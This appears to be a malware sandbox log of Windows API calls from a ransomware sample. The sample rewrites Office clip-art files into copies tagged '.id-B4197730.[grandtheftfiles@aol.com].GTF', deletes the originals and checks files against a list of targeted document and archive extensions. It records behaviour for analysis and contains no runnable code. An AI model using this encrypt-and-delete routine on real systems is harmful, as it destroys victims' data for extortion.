	[0161.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0162.113] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.113] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0162.115] GetLastError () returned 0x0
	[0162.115] ReadFile (in: hFile=0x538, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x133f8, lpOverlapped=0x0) returned 1
	[0162.118] WriteFile (in: hFile=0x53c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x13400, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x13400, lpOverlapped=0x0) returned 1
	[0162.121] ReadFile (in: hFile=0x538, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.121] WriteFile (in: hFile=0x53c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.121] SetEndOfFile (hFile=0x53c) returned 1
	[0162.121] CloseHandle (hObject=0x53c) returned 1
	[0162.121] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.121] SetEndOfFile (hFile=0x538) returned 1
	[0162.124] CloseHandle (hObject=0x538) returned 1
	[0162.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0162.125] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp")) returned 1
	[0162.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0162.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0162.125] lstrlenW (lpString=".doc") returned 4
	[0162.126] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0162.126] lstrlenW (lpString=".docx") returned 5
	[0162.126] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1
	[0162.126] lstrlenW (lpString=".pdf") returned 4
	[0162.126] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0162.126] lstrlenW (lpString=".xls") returned 4
	[0162.126] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0162.126] lstrlenW (lpString=".xlsx") returned 5
	[0162.126] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1
	[0162.126] lstrlenW (lpString=".ppt") returned 4
	[0162.126] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0162.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0162.126] lstrlenW (lpString=".zip") returned 4
	[0162.126] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0162.126] lstrlenW (lpString=".rar") returned 4
	[0162.126] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0162.126] lstrlenW (lpString=".bz2") returned 4
	[0162.126] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0162.126] lstrlenW (lpString=".7z") returned 3
	[0162.126] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0162.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0162.126] lstrlenW (lpString=".dbf") returned 4
	[0162.126] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0162.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0162.126] lstrlenW (lpString=".1cd") returned 4
	[0162.126] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0162.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0162.126] lstrlenW (lpString=".jpg") returned 4
	[0162.126] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0162.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0162.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0162.126] lstrlenW (lpString=".doc") returned 4
	[0162.126] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0162.126] lstrlenW (lpString=".docx") returned 5
	[0162.126] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1
	[0162.126] lstrlenW (lpString=".pdf") returned 4
	[0162.127] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0162.127] lstrlenW (lpString=".xls") returned 4
	[0162.127] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0162.127] lstrlenW (lpString=".xlsx") returned 5
	[0162.127] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1
	[0162.127] lstrlenW (lpString=".ppt") returned 4
	[0162.127] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0162.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0162.127] lstrlenW (lpString=".zip") returned 4
	[0162.127] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0162.127] lstrlenW (lpString=".rar") returned 4
	[0162.127] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0162.127] lstrlenW (lpString=".bz2") returned 4
	[0162.127] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0162.127] lstrlenW (lpString=".7z") returned 3
	[0162.127] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0162.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0162.127] lstrlenW (lpString=".dbf") returned 4
	[0162.127] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0162.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0162.127] lstrlenW (lpString=".1cd") returned 4
	[0162.127] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0162.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0162.127] lstrlenW (lpString=".jpg") returned 4
	[0162.127] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0162.127] lstrcmpiW (lpString1=".BMP", lpString2=".GTF") returned -1
	[0162.127] lstrlenW (lpString="J0101859.BMP") returned 12
	[0162.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0162.128] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=31968) returned 1
	[0162.128] CloseHandle (hObject=0x538) returned 1
	[0162.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp")) returned 0x220
	[0162.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0162.129] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.129] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0162.129] GetLastError () returned 0x0
	[0162.129] ReadFile (in: hFile=0x538, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x7ce0, lpOverlapped=0x0) returned 1
	[0162.133] WriteFile (in: hFile=0x53c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x7cf0, lpOverlapped=0x0) returned 1
	[0162.135] ReadFile (in: hFile=0x538, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.135] WriteFile (in: hFile=0x53c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.135] SetEndOfFile (hFile=0x53c) returned 1
	[0162.135] CloseHandle (hObject=0x53c) returned 1
	[0162.135] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.135] SetEndOfFile (hFile=0x538) returned 1
	[0162.138] CloseHandle (hObject=0x538) returned 1
	[0162.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0162.138] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp")) returned 1
	[0162.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0162.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0162.139] lstrlenW (lpString=".doc") returned 4
	[0162.139] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0162.139] lstrlenW (lpString=".docx") returned 5
	[0162.139] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1
	[0162.139] lstrlenW (lpString=".pdf") returned 4
	[0162.139] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0162.139] lstrlenW (lpString=".xls") returned 4
	[0162.139] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0162.139] lstrlenW (lpString=".xlsx") returned 5
	[0162.139] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1
	[0162.139] lstrlenW (lpString=".ppt") returned 4
	[0162.139] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0162.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0162.139] lstrlenW (lpString=".zip") returned 4
	[0162.139] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0162.139] lstrlenW (lpString=".rar") returned 4
	[0162.139] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0162.139] lstrlenW (lpString=".bz2") returned 4
	[0162.139] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0162.139] lstrlenW (lpString=".7z") returned 3
	[0162.139] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0162.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0162.139] lstrlenW (lpString=".dbf") returned 4
	[0162.139] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0162.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0162.140] lstrlenW (lpString=".1cd") returned 4
	[0162.140] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0162.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0162.140] lstrlenW (lpString=".jpg") returned 4
	[0162.140] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0162.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0162.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0162.140] lstrlenW (lpString=".doc") returned 4
	[0162.140] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0162.140] lstrlenW (lpString=".docx") returned 5
	[0162.140] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1
	[0162.140] lstrlenW (lpString=".pdf") returned 4
	[0162.140] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0162.140] lstrlenW (lpString=".xls") returned 4
	[0162.140] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0162.140] lstrlenW (lpString=".xlsx") returned 5
	[0162.140] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1
	[0162.140] lstrlenW (lpString=".ppt") returned 4
	[0162.140] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0162.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0162.140] lstrlenW (lpString=".zip") returned 4
	[0162.140] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0162.140] lstrlenW (lpString=".rar") returned 4
	[0162.140] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0162.140] lstrlenW (lpString=".bz2") returned 4
	[0162.140] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0162.140] lstrlenW (lpString=".7z") returned 3
	[0162.140] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0162.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0162.140] lstrlenW (lpString=".dbf") returned 4
	[0162.140] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0162.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0162.140] lstrlenW (lpString=".1cd") returned 4
	[0162.140] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0162.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0162.140] lstrlenW (lpString=".jpg") returned 4
	[0162.141] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0162.141] lstrcmpiW (lpString1=".BMP", lpString2=".GTF") returned -1
	[0162.141] lstrlenW (lpString="J0101860.BMP") returned 12
	[0162.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0162.142] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=32184) returned 1
	[0162.142] CloseHandle (hObject=0x538) returned 1
	[0162.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp")) returned 0x220
	[0162.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0162.143] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.143] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0162.143] GetLastError () returned 0x0
	[0162.143] ReadFile (in: hFile=0x538, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x7db8, lpOverlapped=0x0) returned 1
	[0162.146] WriteFile (in: hFile=0x53c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x7dc0, lpOverlapped=0x0) returned 1
	[0162.147] ReadFile (in: hFile=0x538, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.147] WriteFile (in: hFile=0x53c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.147] SetEndOfFile (hFile=0x53c) returned 1
	[0162.148] CloseHandle (hObject=0x53c) returned 1
	[0162.148] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.148] SetEndOfFile (hFile=0x538) returned 1
	[0162.297] CloseHandle (hObject=0x538) returned 1
	[0162.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0162.599] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp")) returned 1
	[0162.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0162.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0162.612] lstrlenW (lpString=".doc") returned 4
	[0162.612] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0162.612] lstrlenW (lpString=".docx") returned 5
	[0162.612] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1
	[0162.612] lstrlenW (lpString=".pdf") returned 4
	[0162.612] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0162.612] lstrlenW (lpString=".xls") returned 4
	[0162.612] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0162.612] lstrlenW (lpString=".xlsx") returned 5
	[0162.612] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1
	[0162.612] lstrlenW (lpString=".ppt") returned 4
	[0162.612] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0162.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0162.612] lstrlenW (lpString=".zip") returned 4
	[0162.612] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0162.613] lstrlenW (lpString=".rar") returned 4
	[0162.613] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0162.613] lstrlenW (lpString=".bz2") returned 4
	[0162.613] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0162.613] lstrlenW (lpString=".7z") returned 3
	[0162.613] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0162.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0162.613] lstrlenW (lpString=".dbf") returned 4
	[0162.613] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0162.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0162.613] lstrlenW (lpString=".1cd") returned 4
	[0162.613] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0162.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0162.613] lstrlenW (lpString=".jpg") returned 4
	[0162.613] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0162.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0162.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0162.613] lstrlenW (lpString=".doc") returned 4
	[0162.613] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0162.613] lstrlenW (lpString=".docx") returned 5
	[0162.613] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1
	[0162.613] lstrlenW (lpString=".pdf") returned 4
	[0162.613] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0162.613] lstrlenW (lpString=".xls") returned 4
	[0162.613] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0162.613] lstrlenW (lpString=".xlsx") returned 5
	[0162.613] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1
	[0162.613] lstrlenW (lpString=".ppt") returned 4
	[0162.613] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0162.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0162.613] lstrlenW (lpString=".zip") returned 4
	[0162.613] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0162.613] lstrlenW (lpString=".rar") returned 4
	[0162.613] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0162.613] lstrlenW (lpString=".bz2") returned 4
	[0162.613] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0162.613] lstrlenW (lpString=".7z") returned 3
	[0162.613] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0162.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0162.614] lstrlenW (lpString=".dbf") returned 4
	[0162.614] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0162.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0162.614] lstrlenW (lpString=".1cd") returned 4
	[0162.614] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0162.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0162.614] lstrlenW (lpString=".jpg") returned 4
	[0162.614] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0162.614] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0162.614] lstrlenW (lpString="J0102002.WMF") returned 12
	[0162.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0162.615] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=15988) returned 1
	[0162.615] CloseHandle (hObject=0x540) returned 1
	[0162.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf")) returned 0x220
